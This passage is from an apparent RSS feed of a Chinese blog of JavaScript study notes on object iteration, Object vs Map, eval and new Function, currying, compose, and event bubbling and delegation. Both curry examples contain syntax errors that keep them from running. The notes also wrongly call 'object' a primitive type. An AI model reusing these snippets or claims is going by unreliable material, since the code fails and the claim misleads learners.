</span></span><span class="line"><span class="cl"><span class="c1">// name: Alice
</span></span></span><span class="line"><span class="cl"><span class="c1">// age: 30
</span></span></span><span class="line"><span class="cl"><span class="c1">// gender: female
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">val</span> <span class="k">of</span> <span class="nx">person</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">val</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// TypeError: person is not iterable
</span></span></span></code></pre></div></li>
<li><code>for in</code>的缺陷
<ol>
<li>会遍历原型链上的可枚举属性</li>
<li>属性遍历顺序不一定是属性定义顺序</li>
<li>只会遍历字符串类型的属性键</li>
</ol>
</li>
</ul>
<ol start="2">
<li><code>Object.entries()</code>
<ul>
<li>returns an array of a given object&rsquo;s own enumerable string-keyed property key-value pairs.</li>
<li>举例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">foo</span><span class="o">:</span> <span class="s2">&#34;bar&#34;</span><span class="p">,</span> <span class="nx">baz</span><span class="o">:</span> <span class="mi">42</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">entries</span><span class="p">(</span><span class="nx">obj</span><span class="p">));</span> <span class="c1">// [ [&#39;foo&#39;, &#39;bar&#39;], [&#39;baz&#39;, 42] ]
</span></span></span></code></pre></div></li>
<li>参考：<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/entries"  target="_blank" rel="noopener" >Object.entries() - JavaScript | MDN</a></li>
</ul>
</li>
<li><code>Object.keys()</code></li>
<li><code>Object.values()</code></li>
<li><code>Object.getOwnPropertyNames()</code>
<ul>
<li>可以返回对象自身的所有<strong>字符串属性名</strong>，<strong>包括</strong>不可枚举的属性</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"> <span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">obj</span><span class="p">,</span> <span class="s1">&#39;hiddenProp&#39;</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">   <span class="nx">value</span><span class="o">:</span> <span class="s1">&#39;hidden&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">   <span class="nx">enumerable</span><span class="o">:</span> <span class="kc">false</span>
</span></span><span class="line"><span class="cl"> <span class="p">});</span>
</span></span><span class="line"><span class="cl"> <span class="nx">obj</span><span class="p">.</span><span class="nx">visibleProp</span> <span class="o">=</span> <span class="s1">&#39;visible&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">getOwnPropertyNames</span><span class="p">(</span><span class="nx">obj</span><span class="p">));</span>  <span class="c1">// 输出 [&#34;hiddenProp&#34;, &#34;visibleProp&#34;]
</span></span></span></code></pre></div></li>
</ul>
</li>
<li><code>Object.getOwnPropertyDescriptors()</code>
<ul>
<li>可以返回对象自身所有<strong>字符串属性</strong>的名和属性描述符，包括不可枚举的属性</li>
</ul>
</li>
<li><code>Object.getOwnPropertySymbols()</code>
<ul>
<li>获取对象自身的所有 Symbol 属性键</li>
<li>示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">object1</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">a</span> <span class="o">=</span> <span class="nx">Symbol</span><span class="p">(</span><span class="s1">&#39;a&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">b</span> <span class="o">=</span> <span class="nx">Symbol</span><span class="p">.</span><span class="k">for</span><span class="p">(</span><span class="s1">&#39;b&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">object1</span><span class="p">[</span><span class="nx">a</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;localSymbol&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="nx">object1</span><span class="p">[</span><span class="nx">b</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;globalSymbol&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="nx">object1</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="s1">&#39;a&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">getOwnPropertySymbols</span><span class="p">(</span><span class="nx">object1</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"> <span class="c1">//  [Symbol(&#34;a&#34;), Symbol(&#34;b&#34;)]
</span></span></span></code></pre></div></li>
</ul>
</li>
</ol>
<h3 id="object和object的区别"><code>Object</code>和<code>object</code>的区别</h3>
<ol>
<li><code>Object</code>：这是一个内置的构造函数，用于创建对象。例如，你可以使用<code>new Object()</code>来创建一个新的对象实例。</li>
<li><code>object</code>：这是一个数据类型的名称，表示所有引用类型的对象，包括数组、函数、正则表达式等。它是 JavaScript 中的一种原始类型，用于描述一类数据结构。</li>
</ol>
<h3 id="object和map的区别"><code>Object</code>和<code>Map</code>的区别</h3>
<ul>
<li>
<p>意外的键</p>
</li>
<li>
<p>安全性:</p>
<ul>
<li>Map 可以安全地与用户提供的键值一起使用。</li>
<li>可能会导致对象注入攻击,可以通过使用 null 原型对象来缓解</li>
</ul>
</li>
<li>
<p>键的类型:</p>
<ul>
<li>Map 的键可以为任何值</li>
<li>Object 的键必须为 String 或 Symbol</li>
</ul>
</li>
<li>
<p>键的顺序</p>
<ul>
<li>Map 对象按照插入的顺序迭代条目、键和值。</li>
<li>没有单一机制可以迭代对象的所有属性</li>
</ul>
</li>
<li>
<p>大小</p>
<ul>
<li>Map 中的项目数量很容易从其 size 属性中获得</li>
<li>通过获取 Object.keys() 返回的数组的长度</li>
</ul>
</li>
<li>
<p>迭代</p>
<ul>
<li>Map 是可迭代对象，所以它可以直接迭代。</li>
<li>Object 没有实现迭代协议，因此对象默认情况下不能直接通过 JavaScript 的 for&hellip;of 语句进行迭代。</li>
</ul>
</li>
<li>
<p>性能</p>
<ul>
<li>Map在涉及频繁添加和删除键值对的场景中表现更好。</li>
<li>Object未针对频繁添加和删除键值对进行优化。</li>
</ul>
</li>
<li>
<p>序列化和解析</p>
<ul>
<li>Map没有对序列化或解析的原生支持。</li>
<li><code>JSON.stringify()</code>, <code>JSON.parse()</code></li>
</ul>
</li>
<li>
<p>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map#object_%E5%92%8C_map_%E7%9A%84%E6%AF%94%E8%BE%83"  target="_blank" rel="noopener" >Object 和 Map 的比较 | MDN</a></p>
</li>
</ul>
<hr>
<h2 id="function">Function</h2>
<h3 id="new-function">new Function</h3>
<ul>
<li>语法: <code>let func = new Function ([arg1, arg2, ...argN], functionBody);</code></li>
<li>环境: 如果我们使用 new Function 创建一个函数，那么该函数的<code>[[Environment]]</code>并不指向当前的词法环境，而是指向全局环境,这样做的好处是避免了与使用压缩程序而产生冲突的问题</li>
<li>使用场景: 在复杂的 Web 应用程序中，我们需要从服务器获取代码或者动态地从模板编译函数时</li>
<li>参考: <a href="https://zh.javascript.info/new-function"  target="_blank" rel="noopener" >&ldquo;new Function&rdquo; 语法</a></li>
</ul>
<h3 id="将字符串转换为可执行的表达式的方式">将字符串转换为可执行的表达式的方式</h3>
<ol>
<li><code>eval()</code></li>
</ol>
<ul>
<li>可以执行包含 JavaScript 表达式的字符串。</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">expression</span> <span class="o">=</span> <span class="s2">&#34;2 + 2&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="nb">eval</span><span class="p">(</span><span class="nx">expression</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">result</span><span class="p">);</span> <span class="c1">// 输出: 4
</span></span></span></code></pre></div></li>
<li>注意：由于安全性和性能问题，它在现代 JavaScript 中并不推荐用于不受信任的输入，因为它会执行任意代码，可能引发安全漏洞。</li>
</ul>
<ol start="2">
<li><code>Function</code> 构造函数</li>
</ol>
<ul>
<li>可以将字符串转化为函数，并在调用时执行表达式。</li>
<li>比 <code>eval()</code> 更加安全，因为它不访问外部作用域。</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">expression</span> <span class="o">=</span> <span class="s2">&#34;return 2 + 2;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">func</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Function</span><span class="p">(</span><span class="nx">expression</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="nx">func</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">result</span><span class="p">);</span> <span class="c1">// 输出: 4
</span></span></span></code></pre></div></li>
</ul>
<ol start="3">
<li>模板字符串与插值表达式</li>
</ol>
<ul>
<li>在模板字符串中使用插值可以直接执行 JavaScript 表达式：</li>
<li>虽然这不是直接将字符串解析为表达式的方式，但在编写包含表达式的字符串时非常有用，尤其是结合模板渲染。</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">b</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="sb">`</span><span class="si">${</span><span class="nx">a</span> <span class="o">+</span> <span class="nx">b</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">result</span><span class="p">);</span> <span class="c1">// 输出: 5
</span></span></span></code></pre></div></li>
</ul>
<ol start="4">
<li><code>setTimeout</code> / <code>setInterval</code></li>
</ol>
<ul>
<li><code>setTimeout</code> 和 <code>setInterval</code> 允许将字符串作为代码来执行</li>
<li>但这种方式与 <code>eval()</code> 类似，同样不推荐用于不受信任的输入</li>
<li>这种方式 JavaScript 中也不提倡，最好传递一个函数。</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">setTimeout</span><span class="p">(</span><span class="s2">&#34;console.log(&#39;Executed!&#39;)&#34;</span><span class="p">,</span> <span class="mi">1000</span><span class="p">);</span>
</span></span></code></pre></div></li>
</ul>
<ol start="5">
<li><code>import()</code>（ES2020）
虽然 <code>import()</code> 是用于动态模块加载的，但它可以动态加载 JavaScript 模块文件，将其作为表达式执行。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">import</span><span class="p">(</span><span class="s1">&#39;./module.js&#39;</span><span class="p">).</span><span class="nx">then</span><span class="p">((</span><span class="nx">module</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">module</span><span class="p">.</span><span class="nx">someFunction</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div><p>虽然不是直接执行字符串表达式，但它可以动态引入外部代码模块。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>函数式编程学习</title>
      <link>https://ds63.eu.org/2024/learn_functional_paradigm/</link>
      <pubDate>Thu, 26 Sep 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/learn_functional_paradigm/</guid>
      <description>自己学习过程中整理的关于函数式编程的知识点</description>
      <content:encoded><![CDATA[<h2 id="纯函数">纯函数</h2>
<p>以下内容摘自<a href="https://blog.orangex4.workers.dev/post/reversi/"  target="_blank" rel="noopener" >Reversi 黑白棋的前端界面与 AI 实现 | OrangeX4&rsquo;s Blog</a></p>
<blockquote>
<p>函数式编程有一个很重要的原则: 尽量使用纯函数 (pure function).</p>
<p>什么是纯函数? 纯函数就是, 给定相同的输入, 一定有相同的输出, 且没有任何副作用的函数. 数学函数就是真正的纯函数, 如三角函数 sin, 给定相同的输入 x, 一定会有相同的输出 y.</p>
<p>纯函数有什么好处呢? 可控, 没有副作用, 支持高并发, 可以很方便地缓存.</p>
<p>支持高并发是因为, 每个用户均有自己的数据, 他们不需要争夺对同一个数据的使用和修改权, 所以可以很方便地将纯函数部署到不同的服务器上, 而不用担心资源共享, 服务器通信和资源锁之类的麻烦问题.</p>
<p>而缓存就更为简单了, 这是一种用空间换时间的策略. 对于运算复杂耗时长的纯函数来说, 我们只需要, 在每一次运行这个函数时, 把 输入到输出的映射 记录在一个哈希表中, 下一次运行这个函数的时候, 可以先看看这个输入在不在哈希表中, 在的话, 直接使用表中的数据, 这就是缓存.</p>
</blockquote>
<p>缓存这个思路可运用的范围很广。</p>
<p>我还可以举一个例子，文生图网站的默认prompt,大部分新进用户如果想要尝试，很大可能会先直接使用默认参数进行生成，那么这默认的参数所生成的图片就可以缓存，后端直接发过去就是，而不用再生成。如果想更进一步节省成本，那可以将用户提供的参数进行hash，命中了就发对应的图片。</p>
<p>不少商用的大语言模型也提供了类似的选项。它会提供给用户是否使用缓存的选项，如果允许并且成功命中缓存，那么所需费用能大大节省。</p>
<hr>
<h2 id="偏函数">偏函数</h2>
<p>wip</p>
<hr>
<h2 id="柯里化curry">柯里化(curry)</h2>
<ul>
<li>把接收多参的函数转化成可以逐个调用单个参数并返回接收剩下参数的函数</li>
<li>JS实现
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">curry</span><span class="p">(</span><span class="nx">func</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kd">function</span> <span class="nx">curried</span><span class="p">(...</span><span class="nx">args</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nx">args</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;=</span> <span class="nx">func</span><span class="p">.</span><span class="nx">length</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// func.length：func的参数的数量
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="c1">// 如果传入的 args 长度与原始函数所定义的（func.length）相同或者更长
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="k">return</span> <span class="nx">func</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="k">this</span><span class="p">,</span><span class="nx">args</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="kd">function</span><span class="p">(...</span><span class="nx">args2</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 重新应用 curried，将之前传入的参数与新的参数一起传入。
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">return</span> <span class="nx">curried</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="k">this</span><span class="p">,</span><span class="nx">args</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nx">args2</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> 
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>上述代码的限制
<ol>
<li>函数具有固定数量的参数</li>
<li>使用 rest 参数的函数，例如 f(&hellip;args)，不能以这种方式进行柯里化</li>
</ol>
</li>
<li>另一种实现
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">curry</span><span class="p">(</span><span class="nx">fn</span><span class="p">,..</span><span class="nx">bindArgs</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(...</span><span class="nx">args</span><span class="p">)=&gt;{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">allArgs</span> <span class="o">=</span> <span class="p">[...</span><span class="nx">bindArgs</span><span class="p">,...</span><span class="nx">args</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="nx">allArgs</span><span class="p">.</span><span class="nx">length</span><span class="o">&lt;</span><span class="nx">fn</span><span class="p">.</span><span class="nx">length</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// func.length：func的参数的数量
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="c1">// 如果传入的 args 长度与原始函数所定义的（func.length）相同或者更长
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="k">return</span> <span class="nx">curry</span><span class="p">(</span><span class="nx">fn</span><span class="p">,...</span><span class="nx">allArgs</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nx">fn</span><span class="p">(...</span><span class="nx">allArgs</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>实际使用：lodash 库的 _.curry</li>
<li>参考：<a href="https://zh.javascript.info/currying-partials"  target="_blank" rel="noopener" >柯里化（Currying）</a></li>
</ul>
<hr>
<h2 id="组合">组合</h2>
<ul>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 这里的withOne等函数应为纯函数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">X1</span> <span class="o">=</span> <span class="nx">withOne</span><span class="p">(</span><span class="nx">X</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">X2</span> <span class="o">=</span> <span class="nx">withTwo</span><span class="p">(</span><span class="nx">X1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">X3</span> <span class="o">=</span> <span class="nx">withThree</span><span class="p">(</span><span class="nx">X2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">SuperX</span> <span class="o">=</span> <span class="nx">X3</span><span class="p">;</span> <span class="c1">//最终的SuperX具备三个高阶组件的超能力
</span></span></span><span class="line"><span class="cl"><span class="c1">// 等价于
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">SuperX</span> <span class="o">=</span> <span class="nx">withThree</span><span class="p">(</span><span class="nx">withTwo</span><span class="p">(</span><span class="nx">withOne</span><span class="p">(</span><span class="nx">X</span><span class="p">)));</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 等价于
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">hoc</span> <span class="o">=</span> <span class="nx">compose</span><span class="p">(</span><span class="nx">withThree</span><span class="p">,</span> <span class="nx">withTwo</span><span class="p">,</span> <span class="nx">withOne</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">SuperX</span> <span class="o">=</span> <span class="nx">hoc</span><span class="p">(</span><span class="nx">X</span><span class="p">);</span>
</span></span></code></pre></div></li>
<li>参考实现</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="kd">function</span> <span class="nx">compose</span><span class="p">(...</span><span class="nx">funcs</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">funcs</span><span class="p">.</span><span class="nx">length</span> <span class="o">===</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">arg</span> <span class="p">=&gt;</span> <span class="nx">arg</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">funcs</span><span class="p">.</span><span class="nx">length</span> <span class="o">===</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">funcs</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">funcs</span><span class="p">.</span><span class="nx">reduce</span><span class="p">((</span><span class="nx">a</span><span class="p">,</span> <span class="nx">b</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">(...</span><span class="nx">args</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">a</span><span class="p">(</span><span class="nx">b</span><span class="p">(...</span><span class="nx">args</span><span class="p">)))</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://llh911001.gitbooks.io/mostly-adequate-guide-chinese/content/"  target="_blank" rel="noopener" >Introduction · 函数式编程指北</a></li>
<li><a href="https://tech.meituan.com/2022/10/13/dive-into-functional-programming-01.html"  target="_blank" rel="noopener" >深入理解函数式编程（上） - 美团技术团队</a></li>
<li><a href="https://blog.orangex4.workers.dev/post/reversi/"  target="_blank" rel="noopener" >Reversi 黑白棋的前端界面与 AI 实现 | OrangeX4&rsquo;s Blog</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之Event</title>
      <link>https://ds63.eu.org/2024/javascript_points_of_event/</link>
      <pubDate>Wed, 25 Sep 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/javascript_points_of_event/</guid>
      <description>自己学习过程中整理的关于JavaScript中Event的知识点</description>
      <content:encoded><![CDATA[<h2 id="事件传播的-3-个阶段">事件传播的 3 个阶段</h2>
<ol>
<li>捕获阶段（Capturing phase）—— 事件（从 Window）向下走近元素。</li>
<li>目标阶段（Target phase）—— 事件到达目标元素。</li>
<li>冒泡阶段（Bubbling phase）—— 事件从元素上开始冒泡。</li>
</ol>
<hr>
<h2 id="冒泡">冒泡</h2>
<ul>
<li>参考<a href="https://zh.javascript.info/bubbling-and-capturing"  target="_blank" rel="noopener" >冒泡和捕获</a></li>
<li>当一个事件发生在一个元素上，它会首先运行在该元素上的处理程序，然后运行其父元素上的处理程序，然后一直向上到其他祖先上的处理程序。</li>
<li>引发事件的那个嵌套层级最深的元素被称为目标元素,可以通过<code>event.target</code>访问</li>
<li>用于停止冒泡的方法
<ol>
<li><code>event.stopPropagation()</code>: 停止向上移动，但是当前元素上的其他处理程序都会继续运行</li>
<li><code>event.stopImmediatePropagation()</code> : 停止冒泡，且其他处理程序不会被执行。</li>
</ol>
</li>
<li><a href="https://zhuanlan.zhihu.com/p/164844013"  target="_blank" rel="noopener" >JavaScript 中那些不会冒泡的事件 - 知乎</a>
<ol>
<li>scroll</li>
<li>blur &amp; focus</li>
<li>media事件</li>
<li>mouseLeave &amp; mouseEnter</li>
<li>注意：mouseout/mouseover <strong>会触发</strong>冒泡</li>
</ol>
</li>
</ul>
<hr>
<h2 id="preventdefault">preventDefault</h2>
<ul>
<li>参考<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Event/preventDefault"  target="_blank" rel="noopener" >Event：preventDefault() 方法 - Web API 接口参考 | MDN</a></li>
<li>如果此事件没有被显式处理，它默认的动作也不应该照常执行</li>
<li>此事件还是继续传播，除非碰到事件监听器调用 stopPropagation() 或 stopImmediatePropagation()，才停止传播</li>
<li>示例:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&#34;beforeunload&#34;</span><span class="p">,</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// Cancel the event as stated by the standard.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">event</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// Chrome requires returnValue to be set.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">event</span><span class="p">.</span><span class="nx">returnValue</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div><hr>
<h2 id="addeventlistener">addEventListener</h2>
<h3 id="语法">语法</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">addEventListener</span><span class="p">(</span><span class="nx">type</span><span class="p">,</span> <span class="nx">listener</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">addEventListener</span><span class="p">(</span><span class="nx">type</span><span class="p">,</span> <span class="nx">listener</span><span class="p">,</span> <span class="nx">options</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">addEventListener</span><span class="p">(</span><span class="nx">type</span><span class="p">,</span> <span class="nx">listener</span><span class="p">,</span> <span class="nx">useCapture</span><span class="p">)</span> <span class="c1">//旧版本的 DOM 的规定
</span></span></span></code></pre></div><h3 id="options"><code>options</code></h3>
<ul>
<li>capture:boolean</li>
<li>once:boolean</li>
<li>passive:boolean True -&gt; preventDefault() 不会被调用</li>
<li>signal</li>
</ul>
<h3 id="注意">注意</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/EventTarget/addEventListener#%E5%A4%84%E7%90%86%E8%BF%87%E7%A8%8B%E4%B8%AD_this_%E7%9A%84%E5%80%BC%E7%9A%84%E9%97%AE%E9%A2%98"  target="_blank" rel="noopener" >处理过程中 this 的值的问题 | MDN</a></li>
<li>同一个元素节点注册了多个相同的 EventListener，那么重复的实例会被抛弃。这么做不会让得 EventListener 被重复调用，也不需要用 removeEventListener 手动清除多余的 EventListener，因为重复的都被自动抛弃了。</li>
<li>只是针对于命名函数。对于匿名函数，浏览器会将其看做不同的 EventListener</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener"  target="_blank" rel="noopener" >EventTarget: addEventListener() method - Web APIs | MDN</a></li>
<li><a href="https://www.cnblogs.com/mengfangui/p/11322590.html"  target="_blank" rel="noopener" >滚动事件优化 passive - 孟繁贵 - 博客园</a></li>
<li><a href="https://github.com/pro-collection/interview-question/issues/76"  target="_blank" rel="noopener" >JS 内存泄露问题该如何排查？ · Issue #76 · pro-collection/interview-question</a></li>
</ul>
<hr>
<h2 id="removeeventlistener">removeEventListener</h2>
<ul>
<li>如果同一个事件监听器分别为“事件捕获（capture 为 true）”和“事件冒泡（capture 为 false）”注册了一次，这两个版本的监听器需要分别移除。移除捕获监听器不会影响非捕获版本的相同监听器，反之亦然。</li>
<li><code>options</code>只有 capture 配置影响 removeEventListener()</li>
<li>参考<a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener"  target="_blank" rel="noopener" >EventTarget: removeEventListener() method - Web APIs | MDN</a></li>
</ul>
<hr>
<h2 id="事件委托">事件委托</h2>
<h3 id="概念">概念</h3>
<ul>
<li>事件处理模式之一,也称事件代理</li>
<li>对于许多以类似方式处理的元素，不必为每个元素分配一个处理程序，而是将单个处理程序放在它们的共同祖先上</li>
<li>在处理程序中，我们获取<code>event.target</code>以查看事件实际发生的位置并进行处理。</li>
</ul>
<h3 id="优点">优点:</h3>
<ol>
<li>减少事件注册，提升性能</li>
